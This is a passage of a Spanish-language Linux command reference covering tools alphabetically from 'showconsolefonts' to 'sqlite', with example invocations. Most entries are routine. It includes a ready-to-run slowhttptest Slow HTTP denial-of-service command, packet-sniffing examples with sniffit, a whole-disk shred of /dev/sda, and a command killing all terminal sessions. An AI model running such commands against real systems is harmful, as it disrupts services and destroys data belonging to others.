Muestra un listado de todos los colores disponibles.

```
$ show_all_colors
```

## showconsolefonts

Muestra las fuentes de las ttys

```
$ showconsolefonts -v -C /dev/tty2
```

Con información adicional y especificando la tty

## showfigfonts

Muestra las fuentes disponibles para el comando figlet.

## showfsck

Mostrar el número de reinicios que faltan hasta forzar un chequeo fsck.

```
# showfsck
```

## showkey

Muestra el código de la tecla pulsada.

```
$ showkey -a
```

arranca el prompt y mostrarà el código ascii de cada tecla que se pulse hasta finalizar con ctrl+d

## showrgb

listado de los colores reconocidos por el sistema y valor RGB

```
$ for line in {0..17}; do for col in {0..15}; do code=$(( $col * 18 + $line )); printf $'\e[38;05;%dm %03d' $code $code ;done; echo ;done
```

Muestra el código numérico de los 256 colores

```
$ showrgb | grep red
```

Muestra el código

## shred

[secure-delete]. Borrar de forma segura espacios de disco

```
$ shred -fuv archivo
Borra archivo y sobrescribe su espacio 25 veces
```

```
$ shred -zn10 /dev/sda
Borrar un disco sobrescribiendo 10 veces
```

```
$ shred -fuv -n 50 archivo
Lo mismo pero 50 veces
```

```
$ shred -u -z -n 20 archivo.txt
suprime un archivo y reescribe el espacio 20 veces con ceros
```

## shuf

Genera numeros aleatorio y muestra lineas de archivo de forma aleatoria.

```
$ shuf -n 4 /etc/fstab -o archivo
Muestra 4 lineas aleatorias del archivo y manda el resultado a "archivo"
```

```
$ shuf -i 1-49 -n 6
para la lotto. Numeros aleatorios de 1 al 49 y que muestre 6
```

`-i [x-y]` rango de números

`-n` Cantidad de numeros a visualizar

## shutdown

Apagar/reiniciar la máquina

```
$ shutdown -h now
apagar
```

```
$ shutdown -r now
reiniciar
```

```
# shutdown -h +20
apagado dentro de 20 minutos
```

```
# shutdown -c
anula la cuenta regresiva anterior
```

```
# shutdown -rF now
forzar fsck en el reinicio
```

```
# shutdown -h $((60 * 4))
Apagar dentro de 4 horas
```

```
# shutdown -h 20:30 -k Se apagará a las 20 horas 30 minutos
Mandando un mensaje a los usuarios
```

## sic

Cliente IRC [protocolo para comunicación basada en texto en tiempo real, comúnmente utilizado para discusiones grupales, intercambio de archivos y juegos en línea]

```
$ sic -h host -n nickname -k password
Conéctese a un host determinado con el nickname y el password
```

```
$ :j #channel
unirse a un canal
```

```
$ :m #channel/user "hola user"
enviar un mensaje a un usuario de un canal
```

```
$ :s #channel/user
establecer un canal o un usuario predeterminados
```

```
$ :l #channel
salir de un canal
```

## signos y comodines

1

```
Tecla barra inclinada (\)
Delante de un comando indica que este se ejecuta tal cual, sin hacer uso de algún alias
que pudiera tener.
$ \ls
```

2

```
Tecla asterisco (*)
cualquier caracter o cadena de caracteres
$ find /home/usuario -iname text*
```

3

```
Interrogante cerrado (?)
Substituye un solo caracter
$ find /home/usuario -iname text?.txt
```

4

```
Corchetes ([ ])
Cualquier caracter que este dentro de los corchetes [a-g] , [12-32]
$ find /home/usuario iname text[m-t].txt
```

5

```
Dos admiraciones cerradas (!!)
```

```
Repite el último comando.
```

```
$ tail -f /var/log/fail2ban.log
```

```
Permiso denegado
```

```
$ sudo !!
```

```
sudo tail -f /var/log/fail2ban.log
```

```
Dime la contraseña....
```

6

```
Signo mayor que (>)
```

```
Antepuesto a un archivo, borra todo su contenido.
```

```
$ > archivo
```

7

```
Tecla espacio
```

```
Anteponiendo un espacio delante de un comando este no se almacena en el historial.
```

8

```
Acento circunflejo (^)
```

```
Si al ejecutar un comando tecleamos mal una ruta, por ejemplo, confundiendo /home por /
```

```
hmoe, podemos enmendar el error con:
```

```
$ ^hmoe^home
```

## siggen

Utilidad que muestra los valores de la función hash para los archivos especificados.

```
$ siggen -a archivo.txt
muestra el hash en MD5, SHA, HAVAL y CRC32
```

```
$ siggen -h archivo.txt
Los mismos hash pero en hexadecimal
```

```
$ siggen -M archivo.txt
el hash solo en MD5. -S para SHA, -C para CRC32 y -H para HAVAL
```

```
$ siggen -a archivo.txt archivo2.txt
para dos archivos
```

## sigtool

Ver clamav

## simhash

Se usa para calcular y comparar hashes de archivos de similitud.

```
$ simhash -c hash1 hash2
```

## similarity-tester

Encuentra similitudes léxicas en textos en C, C ++, Java, Pascal, Modula-2, Lisp, Miranda y text. Esto se puede usar para detectar fragmentos de código potencialmente duplicados en grandes proyectos de software y para detectar plagio en software y proyectos basados en texto, educativos y de otro tipo. Los ejecutables empiezan por "sim\_": sim\_8086, sim\_c, sim\_c++, sim\_java, sim\_lisp, sim\_m2, sim\_mira, sim\_pasc y sim\_text.

```
$ sim_c *.c
resalta el código C duplicado en el directorio
```

```
$ sim_text texto1.txt texto2.txt
de dos textos
```

## sistema gráfico

Instalar las X en UbuntuServer

```
# apt-get install ubuntu-desktop
Completo
```

```
# apt-get install x-window-system-core gnome-core
mínimo
```

```
# apt-get install language-pack-es language-pack-es-base language-pack-gnome-es language-pack-gnome-es-base language-selector language-support-es
instalar los paquetes de idiomas en la instalación mínima)
```

```
# apt-get install gksu gnome-system-tools gnome-nettool
herramientas de red y paquetes necesarios en la instalación mínima
```

```
$ startx
```



## skdet

Busca rootkits y puertos abiertos. Descarga wget <http://dvgevers.home.xs4all.nl/skdet/skdet>

```
# skdet -c
rootkits
```

```
# skdet -p PID
sobre un PID
```

```
# skdet -s
puertos abiertos
```

## skel

Directorio [/etc/skel/] que contiene ficheros y directorios que son automaticamente copiados al directorio personal al crear un nuevo usuario [ver useradd]. Las modificaciones que puedan realizarse en este directorio, ya sea añadiendo carpetas o modificando parámetros [en .bashrc, .profile...] no se aplicarán a usuarios existentes, sólo a los de nueva creación.

## skill

Matar procesos.

```
# skill -l
Lista las señales pque pueden usarse
```

```
# skill -L
otra forma de ver la lista
```

```
# skill -KILL -u usuario
Matar todos los procesos de un usuario
```

```
# skill -STOP -u usurario
Parar los procesos de un usuario
```

```
# skill -CONT -u usuario
Reactivarlos
```

```
# skill -KILL -v /dev/pts/*
Cerrar todas las sesiones de un sistema
```

```
# skill -p PID
Matar el proceso
```

```
# skill -c firefox
Matar por nombre aplicación
```

## sl

Un tren en consola.

```
$ sl -a
Aparece la palabra help en la cabina
```

```
$ sl -l
Muestra un tren más pequeño
```

```
$ sl -F
El tren vuela
```

```
$ sl -e
permite la interrupción con ^C
```

## slackpkg

Gestor de paquetes de Slackware sin resolución de dependencias. Como previa antes de su uso es preciso descomentar el repositorio de nuestra elección en `/etc/slackpkg/mirrors`

```
# slackpkg update gpg
Bajar llaves publicas
```

```
# slackpkg update
Recargar listado
```

```
# slackpkg upgrade-all
Actualizar toda la distro
```

```
# slackpkg search paquete
buscar paquete
```

```
# slackpkg install paquete
instalar paquete
```

```
# slackpkg upgrade paquete
actualiza el paquete elegido
```

```
# slackpkg reinstall paquete
reinstala paquete
```

```
# slackpkg remove paquete
desinstala paquete
```

```
# slackpkg blacklist paquete
pone el paquete en lista negra
```

```
# slackpkg download paquete
descarga paquete sin instalarlo
```

```
# slackpkg info paquete
muestra informacion de paquete
```

```
# slackpkg clean-system
Lista los paquetes obsoletos
```

```
# slackpkg install-new
Lista los paquetes introducidos recientemente
```

```
# slackpkg generate-template
Generar una plantilla de los paquetes instalados en un pc
```

```
# slackpkg install-template
Instalar un slackware en un pc a partir de una plantilla)
```

## slay

Matar todos los procesos de un usuario.

```
$ slay usuario
```

```
$ slay -9 usuario
```

## sleep

Esperar el tiempo especificado antes de lanzar un comando o aplicacion

```
$ sleep 5s ; xwd -root -screen > pantalla.xwd
Capturar la pantallas tras 5 segundos
```

```
$ sleep 20m; yes > /dev/dsp
alarma. En 20 minutos suena un pitido
```

```
$ sleep 3s && aoss espeak -v es "Levantate gandul....." 2>/dev/null
Otra forma de programar una alarma
```

```
$ sleep 3h && halt
para el pc a las 3 horas
```

```
$ sleep 3d && halt
para el pc a los 3 dias
```

## slim

Gestor de sesiones ligero. La configuración en el archivo `/etc/slim.conf`

```
$ slim -p /usr/share/slim/themes/tema_a_probar
```

Una vez escogido el tema lo colocamos en `/etc/slim.conf` substituyéndolo por el "default":

```
current_theme          default
```

1.-

Si al usar `systemd` el sistema no para ni reinicia, modificar las líneas existentes por las siguientes:

```
halt_cmd /usr/bin/systemctl halt
```

```
reboot_cmd /usr/bin/systemctl reboot
```

## slowhttptest

Efectuar ataques Slow Http Dos

```
$ slowhttptest -c 1000 -H -g -o ataque -i 10 -r 200 -t GET -u http://192.168.1.154 -x 30 -p 3
```

c (Número de conexiones con límite en 65539)

H (ataque modo SlowLoris enviando paquetes sin completar)

B (ataque modo Slow POST sin terminar de enviar el cuerpo del mensaje)

X (ataque modo Slow Read de lectura de las respuestas http lentas)

g (Generar estadística en formato html)

o (Archivo de salida)

i (Intervalo de datos por segundo por conexión)

r (Conexiones por segundo)

t (Cabecera a utilizar)

u (URL de destino)

x (Longitud máxima de los datos)

p (Tiempo de espera de respuesta http una vez el servidor se considera inaccesible)

## slurm

Monitoriza la interfaz de red

```
# slurm -i eth0
```

## smartctl

[smartmontools]. Comprobar el estado de los discos duros.

```
# smartctl -i /dev/sda
Verificar si un disco duro soporta smart
```

```
# smartctl -s on /dev/sda
activar el soporte smart
```

```
# smartctl -a /dev/nvme0n1p1
comprobar si el disco es HDD o SSD
```

Nota- Tambien podemos lanzar

```
# cat /sys/block/loop0/queue/rotational
```

Si el resultado es 1 es HDD si es 0 es SSD

```
# smartctl -t short /dev/sda
lanzar el test corto
```

```
# smartctl -t long /dev/sda
lanzar el test largo
```

```
# smartctl -l selftest -i /dev/sda
analizar la información de los comandos anteriores
```

LifeTime indica las horas que el disco ha estado encendido. LBA\_of\_First\_error indica los errores.

```
# smartctl -Hc /dev/sda
Si al final se lee PASSED, correcto, si FAILED cambiar disco
```

```
# smartctl -l error /dev/sda
Listar los errores
```

```
# smartctl -A /dev/sda
Listar atributos internos
```

Listado de algunos atributos smart

```
Power_Cycle_Count (RAW_Value).- Veces que le ha llegado corriente.
Temperature Celsius. (RAW_Value) .- Temperatura del disco
Reallocated_Sector_Ct (RAW_Value).- número de sectores de repuesto que ha usado el disco
para sustituir sectores dañados
Raw_Read_Error_Rate (RAW_Value).- Frecuencia de errores en la lectura del disco.
Start_Stop_Count: Cantidad de veces que se ha parado y arrancado el disco
Seek_Error_Rate: Tasa de errores de colocación de la aguja
Power_On_Seconds: Tiempo funcionando
Spin_Retry_Count: Numero de reintentos de arrancada
El campo VALUE [valor] va del número 1 al 253, siendo 1 el peor. Los valores normales son los que
están entre 100 y 200. El campo WHEN_FAILED indica cuando se produjo una falla de algún
atributo.
```

1.-

Para activar el demonio que nos avisa si se produce un error en disco:

```
# apt-get install smart-notifier
```

Editar el archivo de configuración:

```
# nano /etc/default/smartmontools
```

Y descomentar la línea:

```
start_smartd=yes
```

## smbclient

Conectar recursos compartidos de windows desde linux.

```
$ smbclient //192.168.1.155/compartido -U usuario
Después de ingresar usuario y contraseña entra en el prompt del recurso compartido
```

```
$ smbclient -L //192.168.1.155 (Ver los recursos compartidos de la IP especificada.
```

1.-

Para montarlo automaticamente:

Entrar en el /etc/fstab la siguiente linea:

```
//192.168.1.155/compartido /media/compartido cifs username=NOMBRE, password=CONTRASEÑA,user
```

## smbstatus

Monitorizar el estado de las conexiones del servidor samba.

```
# smbstatus
Listado de equipos conectados a recursos compartidos y ficheros abiertos
```

```
# smbstatus -p
Solo el listado de los equipos conectados a samba
```

```
# smbstatus -S
Listado de recursos y equipos conectados a ellos
```

```
# smbstatus -L
Listado de ficheros abiertos
```

## smem

Informa del uso de la memoria.

```
# smem -u
Por parte de los usuarios
```

```
# smem -w
por parte del sistema
```

```
# smem -m
de todos los procesos
```

```
# smem -p (resultado en porcentaje
```

## smemstat

Informa del uso de la memoria física en consideración con la memoria compartida.

```
# smemstat -T
Mostrar los principales consumidores de memoria
```

```
# smemstat -t
modo interactivo mostrando los principales cambios en la memoria
```

```
# smemstat -p tmux,firefox
mostrar el consumo de tmux y firefox
```

```
# smemstat -g -p tmux,firefox57
el resultado en gigabytes. -m en megabytes -k en kilobytes
```

## snapt

Sistema de instalación de paquetes creado por canonical pero que puede usarse en casi todas las distros (Debian, arch, gentoo, fedora, opensuse...). Consiste basicamente en incluir las dependencias junto con el paquete. Es como un sistema de paqueteria universal para todas las distros linux. Los paquetes de instalan en /snap/nombre\_paquete y lo ejecutables en /snap/bin y pueden convivir junto a los del mismo nombre en el sistema. Si por ejemplo, lanzamos:

```
$ emacs
```

Se ejecutará la aplicación del sistema. Si queremos el instalado con snap, lanzamos la ruta absoluta:

```
$ /snap/bin/emacs
```

```
# snap install programa
```

```
# snap find nombre_programa  
buscar un programa
```

```
# snap list  
lista los instalados
```

```
# snap info paquete
```

```
# snap revert paquete  
instalar una versión anterior de un paquete
```

```
# snap remove programa  
eliminar un programa
```

```
# snap refresh  
update
```

## snarf

Descarga páginas web o listado de archivos compartidos por ftp.

```
$ snarf lapipaplana.net  
Crearé un archivo index.html
```

```
$ snarf ftp://usuario:contraseña@servidor  
Crearé un archivo ftpindex.txt
```

## sniffit

Snifer de red. Dado que los informes los despliega en archivos de texto por cada dato, es preferible lanzar la aplicación desde dentro de una carpeta para no llenar todo el directorio de ficheros.

```
# sniffit -s 192.168.1.2  
Captura todos los paquetes con origen en la IP
```

```
# sniffit -t 192.168.1.2  
Captura todos los paquetes con destino en la IP
```

```
# sniffit -b -s 192.168.1.2  
Captura los paquetes con origen y destino en la IP
```

```
# sniffit -F eth1 -b -s 192.168.1.33 -p 9001  
de un puerto y forzando dispositivo
```

## snoopy

librería que se encarga de almacenar comandos y el usuario que los ejecuta.

```
$ git clone https://github.com/a2o/snoopy.git
```

```
$ cd snoopy
```

```
$ ./configure
```

```
$ make
```

```
# make install
```

```
# make enable
```

Reiniciar los servicios que tengamos funcionando [apache2, ssh...]

```
# /etc/init.d/ssh restart
```

Monitorizar el archivo log de registro con:

```
# tail -f /var/log/auth.log
```

## snooze

Herramienta parecida a cron. Ejecutar un comando en un momento determinado.

```
$ snooze -H 22 -M 10 musica.wav
```

empezar a sonar la música mencionada a las 22'10

```
$ snooze -d 15 -m 3 -H 20 -M 30 -- ~/script.sh
```

ejecutar el script mencionado el 15 de marzo a las 8'30 de la tarde

## snort

Sniffer de paquetes y detector de intrusos

```
# snort -v -i eth0
```

Para inspeccionar el tráfico de una red

```
# snort -vde -h 192.168.0.1/24
```

Inspeccionar una dirección o rango

```
# snort -vde tcp
```

especificando protocolo

```
# snort -v -X -i eth0 port 25
```

Especificando un puerto y guardando la información

```
# snort -v -X -i eth0 -n 5 port 25
```

Capturando solo 5 paquetes

La tarjeta de red tiene que estar en modo promiscuo

Opciones

-v                sniffer de TCP

-d y -e          Para obtener las cabeceras

## sntop

Utilidad tipo top (ver), que sondea una lista de hosts en un intervalo regular para determinar si están en línea. Si no se especifica el archivo en el que constan los datos, lee de /etc/sntoprc. También puede especificarse otro.

```
# sntop -f .sntoprc -e salida.html
especificando el archivo con los hosts y nombre de archivo de salida. Por defecto sntop.html
```

```
# sntop -n 60 -a ~/file
especificando un tiempo en segundos de refresco de datos. Por defecto 180 y que ejecute file si uno de los host especificados se cae
```

Durante la ejecución del programa pueden pulsarse la siguientes teclas:

```
r (refrescar)
w (escribir la salida en un archivo)
q (salir)
pulsado cualquier tecla también se refresca la salida
Un ejemplo de archivo sntoprc sería:
```

```
templix
192.168.1.35
mi server a toda pastilla
#
La Pipa Plena
lapipaplenu.org
El de la asociacion
#
otro pc
192.168.1.145
el del comedor
```

## socklist

[procinfo]. Lista conectores de red abiertos (sockets), mostrando tipo, número de puerto y otros datos específicos.

```
$ socklist
```

## sockperf

Utilidad de evaluación comparativa de red diseñada para probar el rendimiento y latencia de la red.

```
$ sockperf tp -i 127.0.0.1
prueba de rendimiento unidireccional a la ip mencionada
```

```
$ sockperf ul -i 127.0.0.1
pruebas de latencia bajo carga
```

## sockstat

[procinfo]. Mostrar información sobre las conexiones abiertas [sockets].

```
$ sockstat -l
muestra todas
```

```
$ sockstat -P 2522
las del PID indicado
```

```
$ sockstat -p 443
las del puerto indicado
```

```
$ sockstat -U USER
las del usuario especificado
```



## softflowd

Analizador de tráfico de red basado en flujo capaz de exportar datos de Cisco Netflow. Rastrea los flujos de tráfico registrados escuchando en una interfaz de red o leyendo un archivo de captura de paquetes.

```
$ softflowd -i enpls0
que escuche en la interfaz enpls0 y se ejecute solo en modo de recopilación de estadísticas
```

```
$ softflowd -i enpls0 -n 10.1.0.2:4432
de la interfaz enpls0 y exporte datagramas a un recopilador que se ejecuta en 10.1.0.2 4432
```

```
$ softflowd -i enpls0 -n 10.1.0.2:4432,10.1.0.3:4432
de la interfaz y se exporten datagramas que se ejecutan en los puertos 4432 10.1.0.2 y 4432
10.1.0.3
```

```
$ softflowd -i enpls0 -l -n 10.1.0.2:4432,10.1.0.3:4432
enviando los paquetes netflow impares al puerto 10.1.0.2 4432 y los pares al puerto 10.1.0.3 4432
```

```
$ softflowd -v 5 -i enpls0 -n 10.1.0.2:4432 -m 65536 -t udp=1m30s
aumenta la cantidad de flujos simultáneos a rastrear a 65536 y el tiempo de espera a 90''
```

```
$ softflowd -i enpls0 -p /var/run/sfd.pid.enpls0 -c /var/run/sfdctl.enpls0
especifica ubicaciones alternativas para el socket de control y el archivo pid
```

## somafm

Escuchar cualquiera de las emisoras de somafm desde la terminal. Bajar el script de github y darle permisos

```
$ wget https://raw.githubusercontent.com/rockymadden/somafm-cli/master/src/somafm
```

```
$ chmod +x somafm
```

O instalarlo con pip:

```
$ pip3 install somafm
```

```
$ somafm -l
listar las emisoras
```

```
$ somafm -s
mostrar oyentes actuales
```

```
$ somafm -p beatblender
conectar la escogida
```

```
$ somafm -p "Groove Salad Classic"
lo mismo
```

```
$ somafm -r
seleccione aleatoriamente uno de los canales actualmente activos
```

```
$ curl -s -H 'Accept: application/json' https://somafm.com/channels.json | jq -r '.channels |
sort_by(.listeners | tonumber) | reverse | .[]' | jq -r '.id + " | " + .listeners + " listeners |
" + .description' | column -t -s\|
listado de forma más bonita
```

## sonic

Acelerar o ralentizar archivos wav de voz con una distorsión mínima.

```
$ sonic -s 3.4 archivo_voz.wav archivo_voz_rapito.wav
aumentaría la velocidad de la entrada en un factor de 3,4 y escribir el resultado en
archivo_voz_rapido.wav
```

```
$ sonic -s 2.5 -v 1.5 voz.wav voz_lenta.wav
ralentizar voz.wav en un factor de 2,5, aumentar volumen un 50% y el resultado en voz_lenta.wav
```

```
$ sonic -p 2.0 grave.wav aguda.wav
que una voz grave suene aguda
```

## sonido

1.-

Para ver las tarjetas de sonido instaladas

```
$ cat /proc/asound/cards
```

```
0 [Intel ]: HDA-Intel - HDA Intel
```

```
HDA Intel at 0xe4100000 irq 169
```

```
1 [SAA7134 ]: SAA7134 - SAA7134
```

```
saa7133[0] at 0xe4000000 irq 233
```

```
2 [CMI8738MC6 ]: CMI8738-MC6 - C-Media PCI CMI8738-MC6
```

```
C-Media PCI CMI8738-MC6 (model 55) at 0xa000, irq 225
```

```
# asoundconf set-default-card 1
para activar la 1
```

Editar el fichero /etc/alsa/alsa.conf y poner estas líneas:

```
defaults.ctl.card 1
defaults.pcm.card 1
defaults.pcm.device 1
Los cambios son automáticos, no hay ni que reiniciar el servicio.
```

2.-

Cuando al reiniciar el sonido aparece silenciado:

```
# gedit /etc/pulse/default.pa
```

Comentar la línea: # load-module module-device-restore

3.-

Sin sonido con flash

Si no existe, crear el archivo:

```
$ sudo touch /etc/asound.conf
```

```
# nano /etc/asound.conf
```

Pegar:

```
pcm.pulse {
    type pulse
}
ctl.pulse {
    type pulse
}
pcm.!default {
    type pulse
}
ctl.!default {
    type pulse
}
Reiniciar.
```

4.-

Si Java bloquea el dispositivo de sonido en lugar de usar Pulseaudio

```
# cd /usr/lib/jvm/java-6-sun/jre/bin/
```

```
# mv java java.bin
```

```
# nano /usr/lib/jvm/java-6-sun/jre/bin/java
```

Y copiar en su interior:

## S

```
#!/bin/bash
```

```
padsp /usr/lib/jvm/java-6-sun/jre/bin/java.bin "$@"
```

```
# chmod +x java
darle permisos
```

5.-

Substituir pulseaudio por alsa:

```
# apt-add-repository ppa:dt1131/ppa
Añadir los repositorios gnome-media/applets/settings-daemon
```

```
# apt-get update
Actualizar el sistema
```

```
# apt-get upgrade
```

```
# apt-get install esound esound-clients esound-common libesd-alsa0 alsa-base alsa-tools alsa-utils
alsa-oss linux-sound-base python-alsaaudio gnome-media libstdl1.2debian-alsa
Instalar paquetes de alsa
```

```
# apt-get purge libcanberra-pulse pulseaudio pulseaudio-esound-compat pulseaudio-module-bluetooth
pulseaudio-module-gconf pulseaudio-module-udev pulseaudio-module-x11 gstreamer0.10-pulseaudio
pulseaudio-utils pavucontrol
Desinstalar los paquetes de pulseaudio
```

Reiniciar

## sort

Muestra la entrada ordenada.

```
$ sort archivo > archivo_ordenado
por la primera columna
```

```
$ sort [intro]
va esperando palabras o números que ordena con Ctrl+d
```

```
$ sort << fin
Lo mismo pero ordena después de introducir fin
```

```
$ sort -o archivo1 archivo1
escribe el resultado en el propio archivo
```

```
$ sort -u fichero
ordenar eliminando lineas repetidas
```

```
$ sort -t , -k2n archivo
ordenar por el segundo campo separado del primero por una , y por su valor numérico
```

```
$ sort -t , -k3 archivo
ordenar por el tercer campo separados por comas
```

Opciones

-f : Ordena alfabeticamente (diferencia Minúsculas y mayúsculas).

-n : Para ordenar los campos numéricos por su valor numérico.

-r : De mayor a menor.

-R : desordenar, aleatoriamente

-k numero : Especifica por qué columna o campo realizar la ordenación

-t : indica que vamos a usar un delimitador de campo especificado

-u : Suprime todas las líneas repetidas después de realizar la ordenación.

## sosreport

Conjunto de herramientas que reúnen información sobre el sistema (hardware y configuración). La información puede ser utilizada para fines de diagnóstico y depuración.

```
# sosreport -l
listado de módulos
```

```
# sosreport -n ntp, numa
desactivar los módulos ntp y numa
```

```
# sosreport -k virsh=off
desactivar un módulo
```

```
# sosreport -e virsh=on (activarlo)
```

## source

Recarga o ejecuta el archivo de configuración indicado para aplicar cambios o el script de bash correspondiente.

```
$ source .bashrc
```

Este comando es equivalente a un punto [.]:

```
$ . .bashrc
lo mismo que el anterior
```

```
$ source script.sh
```

## sources.list

Archivo que contiene las fuentes o repositorios de los paquetes de software en las distros derivadas de Debian.

Generador de sources.list optimizado via web:

```
[http://debgen.simplylinux.ch/](http://debgen.simplylinux.ch/ "sources.list a la carta")
```

División del programario según Debian y Ubuntu:

DEBIAN:

main (Paquetes 100% libres según las directivas de Debian)

contrib (Paquetes que dependen de alguno que no es 100% libre según las directivas de Debian)

non-free (Paquetes que o bien no cumplen la directiva de Debian o no facilitan el código fuente)

UBUNTU:

main (Paquetes que cumplen los requisitos de la licencia de Ubuntu)

restricted (soportados por los desarrolladores de Ubuntu pero o bien no cumplen su licencia o no se tiene acceso al código fuente)

Universe (Programas mantenidos por la comunidad)

Multiverse (Programas comerciales o privativos de terceras empresas o fabricantes)

## sox

[soxmix]. Manipular ficheros de audio. Soporta mp3, wav, ogg... [ver play]

```
$ soxmix 1.mp3 2.mp3 mezcla.mp3
```

```
$ sox archivo.mp3
Obtener información
```

```
$ sox archivo.mp3 rapido.wav speed 2.0
Crear un audio a doble velocidad
```

```
$ sox file.mp3 file2.mp3 trim 0 5
corta los primeros 5 segundos de file.mp3 y los guarda en file2.mp3
```

```
$ sox file.mp3 file.wav
pasar de mp3a wav
```

```
$ sox 2.wav 3.wav speed 0.5
3.wav irá a la mitad de velocidad que 2.wav
```

## spacedream

Muestra una imagen del cielo en la tty. Con las teclas del cursor permite moverse por entre la constelación de estrellas.

```
$ spacedream
```

## speaker-test

Pruebas de sonido para dispositivos alsa.

```
$ speaker-test -c6 -t wav
probar altavoces usando voz [t]
```

```
$ speaker-test
básico
```

```
$ speaker-test -Dplug:front -c2
estereo
```

## spd-conf

Herramienta simple para la configuración básica de speech-dispatcher y diagnóstico de problemas. El paquete speech-dispatcher proporciona una capa independiente para síntesis de voz y salida por altavoces, es compatible con varios sintetizadores de voz (software y hardware) a través de los diferentes backends de las aplicaciones.

```
$ spd-conf -d -e
para mensajes y diagnosis de los problemas
```

```
$ spd-conf -d --test-pulse
test de pulse audio
```

```
s spd-conf -d --test-alsa (test de alsa)
```

## speedometer

Monitor de transferencia de ficheros [velocímetro].

```
# speedometer -p -rx eth0
tráfico recibido y el resultado en consola [-p]

# speedometer -tx eth0
tráfico transmitido y el resultado en modo gráfico

# speedometer -i 0.25 -rx eth0
t. recibido, en modo gráfico y muestreo cada 0.25 segundos.
```

pulsar q para cerrar

## speedtest\_cli

script en python que se conecta a un servidor y realiza un test de velocidad de nuestra conexión.

Si no está en los repositorios, descarga y permisos:

```
$ wget https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest_cli.py
$ chmod +x speedtest_cli.py
```

En Debian está en los repos y contiene dos ejecutables: speedtest\_cli y speedtest.

```
$ speedtest
Forma básica

$ speedtest --share
Nos da una URL con la imagen en png de la conexión

$ speedtest --list
Mostrará una lista ordenada de los servidores de Speedtest.net con los más cercanos en primer lugar.

$ speedtest --server 804
Especificar un servidor distinto al más cercano, tomado del listado anterior

$ speedtest --simple
velocidad de la red
```

## spew

Medir el rendimiento de E/S de dispositivos de caracteres, dispositivos de bloque y archivos normales. También se puede usar para generar altas cargas de E/S para los sistemas de tensión mientras se verifica la integridad de los datos. No necesita archivos de configuración. Muestra la velocidad de transferencia de escritura en kibibytes por segundo y el tiempo de transferencia de escritura en segundos. Incluye gorge y regorge

```
$ spew -b 32k 1m /tmp/spewfile
escribe 32 mebibytes [1 mebibyte = 1048576 Bytes] en el archivo especificado

$ spew -u m -i 10 -b 1k 256k /dev/sda1 (Escribe 256 kibibytes utilizando peticiones de 1 kibibyte en el archivo de dispositivo de bloque /dev/sda1 10 veces utilizando el patrón predeterminado aleatorio). Las tasas de transferencia de escritura iterativa y acumulativa se muestran en mebibytes por segundo y los tiempos de transferencia de escritura iterativa y acumulativa se muestran en segundos.

$ regorge -s -o 1m -b 16m 1g /tmp/bigfile (Escribe 1 gibibyte (1 gibibyte = 1024*1024*1024 bytes) comenzando en un offset de 1 mebibyte usando 16 peticiones de mebibyte al fichero /tmp/bigfile usando el patrón por defecto aleatorio). Los datos se escriben de forma sincrónica y se vacían al cerrar el archivo. Luego se leen los mismos datos usando el mismo tamaño de petición y offset. Se comprueba que los datos leídos coinciden con los escritos. Las tasas de transferencia de escritura y lectura se muestran en kibibytes/segundo. Los tiempos de transferencia de lectura y escritura se muestran en segundos.
```

```
$ gorge -i 0 -u M -p zeros -b 512 1m /dev/zero (Lee 1 mebibyte de datos utilizando peticiones de 512 bytes del archivo /dev/zero un número infinito de veces utilizando el patrón de ceros (no comprueba los datos). Las tasas de transferencia de lectura iterativa y acumulativa se muestran en megabytes
1 megabyte = 1.000.000 bytes) por segundo y los tiempos de transferencia de lectura iterativa y acumulativa se muestran en segundos.
```

```
$ regorge -g -r -b 1k -B 256K 1t /dev/md1 (Escribe 1 tebibyte
1 tebibyte = 1024*1024*1024*1024 bytes) utilizando peticiones de 1-256 kibibytes en el dispositivo de bloques /dev/md1 utilizando el patrón aleatorio. Se realizan búsquedas aleatorias antes de cada transferencia, pero cada bloque entre el inicio y el final de los datos se escribe exactamente una vez. Los tamaños de las peticiones se eligen aleatoriamente. A continuación se leen los mismos datos utilizando los mismos tamaños de petición y búsquedas en la misma secuencia.
Repita la secuencia anterior un número infinito de veces hasta que se le indique que abandone [mediante señal o comando TUI]
```

## split

Cortar archivos

```
$ split -d -b 5M archivo otro_archivo.
```

Que tengan extensión con números: .00, .01, .02 [-d]. Trozos de 5 MB [-b], archivo de entrada y de salida terminado con un punto donde se añade la extensión. En este ejemplo daría salidas tipo otro\_archivo.00, otro\_archivo.01....

```
$ split -l 100 archivo
dividirlo en trozos de 100 líneas
```

```
$ split -a 3 -d -b 5M archivo
que los trozos lleven 3 dígitos [-a]
```

```
$ split -n 4 archivo
dividirlo en 4 partes
```

```
$ cat prefijo* > archivo
volver a unirlos
```

## split-logfile

Los archivos de registro se crearán, en el directorio donde se ejecuta el script, para cada nombre de host virtual que aparezca en el archivo de registro combinado. Estos archivos de registro llevarán el nombre del nombre del host, con una extensión de archivo.log. El archivo de registro combinado se lee desde la entrada estándar. Los registros leídos se añadirán a cualquier archivo de registro existente.

```
# split-logfile < /var/log/apache2/access.log
creará un archivo para cada ip distinta que encuentre en access.log por lo que es mejor lanzar el comando en un dir vacío
```

## splitvt

Lanzar dos shells simultáneas partiendo en dos ventanas una terminal.

```
$ splitvt -t "linux es genial" -upper ls -lower top
Con un título [-t] lanzando un ls en la ventana superior y top en la inferior
```

## sponge

[moreutils]. Herramienta que guarda todo el contenido a escribir hasta que recibe el EOF y luego lo escribe por lo que permite procesar un fichero y reescribirlo en el propio fichero sin pérdida de datos.

```
$ tac archivo | sponge archivo
Lee al revés un archivo y lo guarda en el mismo archivo
```

```
$ column -t datos | sponge datos
```

## spumux

Generar subtítulos en un video mpeg.

```
$ spumux -s0 subt.xml < video.mpeg > video_subtitulado.mpeg
```

Nota.- El archivo subt.xml con un contenido:

```
<subpictures>
  <stream>
    <textsub filename="SUBTITULOS.srt" charset="ISO8859-1"
      fontsize="24.0" font="Arial.ttf" horizontal-alignment="center"
      vertical-alignment="bottom" left-margin="60" right-margin="60"
      top-margin="20" bottom-margin="30" subtitle-fps="25"
      movie-fps="29.97" movie-width="720" movie-height="478"/>
  </stream>
</subpictures>
La fuente Arial.ttf ha de estar [o tener un enlace] en el directorio ~/.spumux
```

## sqlite

Gestor de bases de datos.

```
$ sqlite
entrar en el prompt
```

```
sqlite> .help (mostrar comandos para usar)
```

```
sqlite> .database (ver las bases de datos existentes)
```

```
sqlite> .tables (ver las tablas de las que constan en la base de datos)
```

```
sqlite> .schema nombre (ver conceptos de la tabla "nombre")
```

```
sqlite> drop table nombre; (eliminar una tabla)
```

```
